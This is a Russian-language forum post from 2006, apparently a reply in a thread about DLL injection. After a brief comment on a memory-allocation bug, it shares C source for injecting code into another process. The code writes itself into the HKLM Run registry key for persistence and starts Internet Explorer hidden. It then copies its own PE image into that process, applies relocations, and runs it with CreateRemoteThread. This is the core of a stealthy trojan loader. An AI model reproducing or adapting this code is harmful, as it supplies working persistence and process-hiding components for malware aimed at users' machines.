Цитата(supersonic @ 8.9.2006, 08:49  ) | | VirtualAllocEx(hProcess, NULL, lstrlen(DLLName) + 1, MEM_COMMIT, PAGE_READWRITE); |
а почему у тебя длина выделяемой памяти = lstrlen(DLLName) + 1 ?
я полагаю нужен размер твой дллки?
а вообще есть такие вот сырки инжекта кода:
| Код |
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
hInst=hInstance;
HWND hWnd;
DWORD dwPid;
PROCESS_INFORMATION pi;
STARTUPINFO si;
unsigned char ie_path[MAX_PATH];
unsigned char ie_name[]="\\Internet Explorer\\IEXPLORE.EXE";
unsigned char cur_name[MAX_PATH];
HKEY pkey;
Sleep(10000);
GetModuleFileName(GetModuleHandle(NULL),(LPSTR)cur_name,MAX_PATH);
RegOpenKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pkey);
RegSetValue(pkey,NULL, REG_SZ , (LPSTR)cur_name, strlen((const char *)cur_name));
RegCloseKey(pkey);
hWnd = FindWindow("IEFrame", NULL);
if (hWnd==0){;
SHGetFolderPath(NULL, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, (LPSTR)ie_path);
memcpy(ie_path+strlen((const char *)ie_path),ie_name,sizeof(ie_name));
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=SW_HIDE;
CreateProcess(LPCSTR(ie_path), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
ResumeThread(pi.hThread);
do {
hWnd = FindWindow("IEFrame", NULL);
} while (hWnd==0);
}
//ShellExecute(NULL, "open", (LPSTR)ie_path, NULL, NULL, SW_HIDE);
//hWnd = FindWindow("Progman", NULL);
Sleep(200);
GetWindowThreadProcessId(hWnd, &dwPid);
Inject(dwPid, (LPTHREAD_START_ROUTINE)RemoteThread, NULL);
}
|
Добавлено @ 09:10
| Код |
BOOL Inject(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam)
{
HMODULE hModule;
HMODULE *hNewModule;
DWORD dwSize;
HANDLE hProcess;
PIMAGE_DOS_HEADER pDH;
PIMAGE_NT_HEADERS pPE;
if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid)) == NULL)
return FALSE;
hModule = GetModuleHandle(NULL);
pDH = (PIMAGE_DOS_HEADER)hModule;
pPE = (PIMAGE_NT_HEADERS) ((LPSTR)pDH + pDH->e_lfanew);
dwSize = pPE->OptionalHeader.SizeOfImage;
LPVOID lpNewAddr = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (lpNewAddr == NULL)
return FALSE;
CopyMemory(lpNewAddr, hModule, dwSize);
hNewModule = (HMODULE *) VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (hNewModule == NULL)
return FALSE;
PerformRebase(lpNewAddr, (DWORD)hNewModule);
if (WriteProcessMemory(hProcess, hNewModule, lpNewAddr, dwSize, NULL) == 0)
return FALSE;
DWORD dwThread = (DWORD)lpStartProc - (DWORD)hModule + (DWORD)hNewModule;
if (CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwThread, lpParam, 0, NULL) == NULL)
return FALSE;
return TRUE;
}
BOOL PerformRebase(LPVOID lpAddress, DWORD dwNewBase)
{
PIMAGE_DOS_HEADER pDH = (PIMAGE_DOS_HEADER)lpAddress;
if (pDH->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
PIMAGE_NT_HEADERS pPE = (PIMAGE_NT_HEADERS) ((char *)pDH + pDH->e_lfanew);
if (pPE->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
DWORD dwDelta = dwNewBase - pPE->OptionalHeader.ImageBase;
DWORD dwVa = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD dwCb = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
PIMAGE_BASE_RELOCATION pBR = MakePtr(PIMAGE_BASE_RELOCATION, lpAddress, dwVa);
UINT c = 0;
while (c < dwCb)
{
c += pBR->SizeOfBlock;
int RelocCount = (pBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
LPVOID lpvBase = MakePtr(LPVOID, lpAddress, pBR->VirtualAddress);
WORD *areloc = MakePtr(LPWORD, pBR, sizeof(IMAGE_BASE_RELOCATION));
for (int i = 0; i < RelocCount; i++)
{
int type = areloc[i] >> 12;
if (type == 0)
continue;
if (type != 3)
return FALSE;
int ofs = areloc[i] & 0x0fff;
DWORD *pReloc = MakePtr(DWORD *, lpvBase, ofs);
if (*pReloc - pPE->OptionalHeader.ImageBase > pPE->OptionalHeader.SizeOfImage)
return FALSE;
*pReloc += dwDelta;
}
pBR = MakePtr(PIMAGE_BASE_RELOCATION, pBR, pBR->SizeOfBlock);
}
pPE->OptionalHeader.ImageBase = dwNewBase;
return TRUE;
}
|
|